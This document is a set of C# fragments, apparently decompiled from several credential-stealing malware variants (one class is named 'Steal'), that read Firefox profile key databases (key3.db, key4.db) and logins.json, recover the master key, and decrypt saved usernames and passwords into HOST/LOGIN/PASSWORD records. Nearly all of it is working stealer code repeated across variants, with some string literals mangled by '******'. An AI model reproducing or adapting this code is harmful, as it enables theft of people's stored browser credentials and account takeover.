private static byte[] k(string hv) { byte[] array = new byte[24]; try { if (!File.Exists(hv)) { return(array); } new DataTable(); Gecko9 hx = new Gecko9(hv); Gecko7 gecko = new Gecko7(m(hx, (string ib) => ib.Equals("password-check"))); string hw = m(hx, (string ic) => ic.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(l(hw), Encoding.Default.GetBytes(string.Empty), l(gecko.EntrySalt)); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, l(gecko.Passwordcheck)); Gecko4 gecko3 = Gecko1.Create(l(m(hx, (string id) => !id.Equals("password-check") && !id.Equals("Version") && !id.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(l(hw), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.го7па(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch { return(array); } }
public static void i(string hq, byte[] hr, string hs, string ht) { try { string path = f(Path.Combine(hq, "logins.json")); if (File.Exists(path)) { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(Gecko6.lTRjlt(hr, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(hr, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); aa.f.Add(string.Concat("URL : ", item["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", item["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : " + hs + Environment.NewLine + "Profile : " + ht + Environment.NewLine + aa.f[i]); } aa.f.Clear(); } } catch { } }
} //Если P4Key private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 Gecko7 = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 Gecko8 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt)); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck)); Gecko4 Gecko4 = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); Gecko82.го7па(); Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24) { array = Gecko42.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch (Exception) { return(array); } }//Если P3Key
// Token: 0x060000A7 RID: 167 RVA: 0x00007E3C File Offset: 0x0000603C public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Steal.credential.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, Steal.credential[i] })); } Steal.credential.Clear(); } } catch (Exception) { } }
public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Func.Passwords.PassCounts++; Gecko4 Gecko4 = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string url = item["hostname"].ToString().Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", ""); Func.Passwords.result += Environment.NewLine + "Host: " + url + System.Environment.NewLine + "Login: "******"Password: "******"Soft: " + browser_name + Environment.NewLine; } // } } } catch { } }
// Token: 0x060001E6 RID: 486 RVA: 0x0000F60C File Offset: 0x0000D80C public static void smethod_8(string string_3, byte[] byte_0, string string_4, string string_5) { try { string path = Class12.smethod_5(Path.Combine(string_3, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Class12.list_3.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", string_4, Environment.NewLine, "Profile : ", string_5, Environment.NewLine, Class12.list_3[i] })); } Class12.list_3.Clear(); } } catch (Exception) { } }
// Token: 0x060000A8 RID: 168 RVA: 0x0000812C File Offset: 0x0000632C private static byte[] p4k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { CNT cnt = new CNT(file); cnt.ReadTable("metaData"); string s = cnt.ParseValue(0, "item1"); string s2 = cnt.ParseValue(0, "item2)"); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None); cnt.ReadTable("nssPrivate"); int rowLength = cnt.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber)) { s3 = cnt.ParseValue(i, "a11"); break; } } Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); result = array; } } catch (Exception) { result = array; } return result; }
// Token: 0x06000179 RID: 377 RVA: 0x0000D728 File Offset: 0x0000B928 private static byte[] smethod_8(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (File.Exists(string_3)) { CNT cnt = new CNT(string_3); cnt.ReadTable("metaData"); string s = cnt.ParseValue(0, "item1"); string s2 = cnt.ParseValue(0, "item2)"); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.method_2(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None); cnt.ReadTable("nssPrivate"); int rowLength = cnt.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Class18.byte_0)) { s3 = cnt.ParseValue(i, "a11"); IL_152: Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.method_2(); array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); return(array); } } goto IL_152; } result = array; } catch (Exception) { result = array; } return(result); }
private static byte[] j(string hu) { byte[] result = new byte[24]; try { if (!File.Exists(hu)) { return(result); } CNT cNT = new CNT(hu); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, Echelon_Decod.Ok("H4sIAAAAAAAEAMssSc01AgBLmMXgBQAAAA==)")); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(aa.j)) { s3 = cNT.ParseValue(i, "a11"); break; } } Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); result = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch { return(result); } }
private static byte[] p4k(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } CNT cNT = new CNT(file); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, "item2)"); Gecko4 Gecko4 = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData; Gecko8 Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber)) { s3 = cNT.ParseValue(i, "a11"); break; } } Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = Gecko42.Objects[0].Objects[1].ObjectData; Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch (Exception) { return(result); } } //Если P4Key
// Token: 0x0600017A RID: 378 RVA: 0x0000D960 File Offset: 0x0000BB60 private static byte[] smethod_9(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); Gecko9 gecko9_ = new Gecko9(string_3); Gecko7 gecko = new Gecko7(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_0))); string string_4 = Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_1)); Gecko8 gecko2 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), Class18.smethod_10(gecko.EntrySalt)); gecko2.method_2(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class18.smethod_10(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Class18.smethod_10(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_2)))); Gecko8 gecko4 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.method_2(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x060000A9 RID: 169 RVA: 0x00008368 File Offset: 0x00006568 private static byte[] p3k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 gecko = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt)); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.го7па(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return result; }
// Token: 0x060001E8 RID: 488 RVA: 0x0000FB2C File Offset: 0x0000DD2C private static byte[] smethod_10(string string_3) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(string_3)) { result = array; } else { new DataTable(); Gecko9 gecko9_ = new Gecko9(string_3); Gecko7 gecko = new Gecko7(Class12.smethod_11(gecko9_, (string x) => x.Equals("password-check"))); string string_4 = Class12.smethod_11(gecko9_, (string x) => x.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), Class12.iefripvQgb(gecko.EntrySalt)); gecko2.method_3(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class12.iefripvQgb(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Class12.iefripvQgb(Class12.smethod_11(gecko9_, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.method_3(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x06000178 RID: 376 RVA: 0x0000D4B0 File Offset: 0x0000B6B0 public static void smethod_7(string string_3, byte[] byte_1, string string_4, string string_5) { try { string path = Class18.smethod_4(Path.Combine(string_3, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Class26.int_0++; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text3 = jsonValue["hostname"].ToString(true).Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", ""); Class26.string_0 = string.Concat(new string[] { Class26.string_0, Environment.NewLine, "Host: ", text3, Environment.NewLine, "Login: "******"Password: "******"Soft: ", string_4, Environment.NewLine }); } } } catch { } }
public static void steal(string paths, StreamWriter stream) { try { byte[] privatekey = null; if (File.Exists(Path.Combine(paths, "key3.db"))) { privatekey = p3k(Path.Combine(paths, "key3.db")); } if (File.Exists(Path.Combine(paths, "key4.db"))) { privatekey = p4k(Path.Combine(paths, "key4.db")); } string path = Path.Combine(paths, "logins.json"); if (File.Exists(path)) { { foreach (JsonValue itema in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Gecko4 Gecko4 = Gecko1.Create(Convert.FromBase64String(itema["encryptedUsername"].ToString(saving: false))); Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(itema["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(Gecko6.lTRjlt(privatekey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privatekey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); stream.WriteLine("HOST : " + itema["hostname"]); stream.WriteLine("LOGIN : "******"PASSWORD : "******"---------------------------------------------------------------"); } } } } catch (Exception) { } }